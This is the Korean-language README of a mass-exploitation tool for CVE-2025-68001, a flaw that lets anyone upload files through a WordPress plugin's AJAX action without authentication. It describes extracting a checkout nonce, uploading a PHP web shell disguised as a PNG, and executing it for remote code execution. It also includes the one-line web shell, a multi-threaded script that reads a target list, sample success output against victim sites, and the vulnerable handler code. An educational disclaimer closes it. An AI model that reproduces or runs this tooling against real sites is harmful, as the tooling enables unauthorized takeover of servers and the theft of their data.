1. GET /checkout
      ↓
   인라인 JavaScript 데이터에서 `checkout_nonce` 추출

2. POST /wp-admin/admin-ajax.php
      action=ffl_upload_document
      nonce=<추출된_nonce>
      document_type=document
      document=<image/png로 위장한 shell.php>
      ↓
   서버가 확장자 또는 MIME 검증 없이 파일 저장

3. JSON 응답 파싱
      ↓
   업로드된 파일 경로 / 고유 파일명 추출

4. HTTP를 통해 업로드된 셸에 접근
      ↓
   원격 코드 실행 성공 ✔️

pip install requests rich

CVE-2025-68001/
├── CVE-2025-68001.py       # 메인 익스플로잇 스크립트
├── shell.php               # 업로드할 웹 셸 (직접 제공)
├── list.txt                # 대상 URL (한 줄에 하나씩)
└── success_results.txt     # 자동 생성된 결과 출력

https://target1.com
https://target2.com
http://target3.com/wordpress

<?php system($_GET['cmd']); ?>

python CVE-2025-68001.py

대상 파일 이름 입력 (기본값: list.txt):
> list.txt

업로드할 셸 파일 이름 입력 (기본값: shell.php):
> shell.php

스레드 수 입력 (기본값: 50):
> 20

https://target.com | /wp-content/uploads/ffl/abc123.php | abc123.php | shell.php

✔  https://victim.com  — /checkout 도달 가능. 익스플로잇 시도 중...

┌─────────────────────────────────────────────────────┐
│                      성공                        │
│  https://victim.com                                 │
│  원래 이름:  shell.php                          │
│  고유 이름:    a7f3c1d9e.php                      │
│  저장 경로:    /wp-content/uploads/ffl/a7f3c1.php │
└─────────────────────────────────────────────────────┘

모든 대상 처리 완료 ✔️. 결과 저장 위치: success_results.txt

// 인증 또는 권한 확인 없음
add_action('wp_ajax_nopriv_ffl_upload_document', 'ffl_upload_document');

function ffl_upload_document() {
    // /checkout 페이지에서 논스 확인 (공개적으로 접근 가능)
    // MIME 유형 검증 없음
    // 확장자 화이트리스트/블랙리스트 없음
    move_uploaded_file($_FILES['document']['tmp_name'], $upload_path);
    wp_send_json_success(['file_path' => $upload_path]);
}

이 도구는 교육 및 허가된 보안 연구 목적으로만 엄격히 제공됩니다.

이 스크립트를 사용함으로써 귀하는 다음에 명시적으로 동의합니다:

  • 대상 시스템 소유자로부터 명시적인 서면 허가를 받았습니다.
  • 통제된 연구실 또는 허가된 침투 테스트 환경에서 운영 중입니다.
  • 귀하가 소유하지 않았거나 법적 테스트 권한이 없는 시스템에 대해
    이 도구를 사용하지 않을 것입니다.
  • 저자(Nxploited)는 이 도구로 인한 손해, 데이터 손실, 법적 결과
    또는 오용에 대해 어떠한 책임도 지지 않습니다.

허가 없이 이 도구를 시스템에 무단 사용하는 것은 불법이며
다음을 포함하되 이에 국한되지 않는 법률을 위반할 수 있습니다:
  — 컴퓨터 사기 및 남용법(CFAA)
  — 정보 시스템에 대한 공격에 관한 EU 지침
  — 및 해당 관할권의 동등한 법률.

책임감 있게 사용하세요. 윤리적으로 해킹하세요.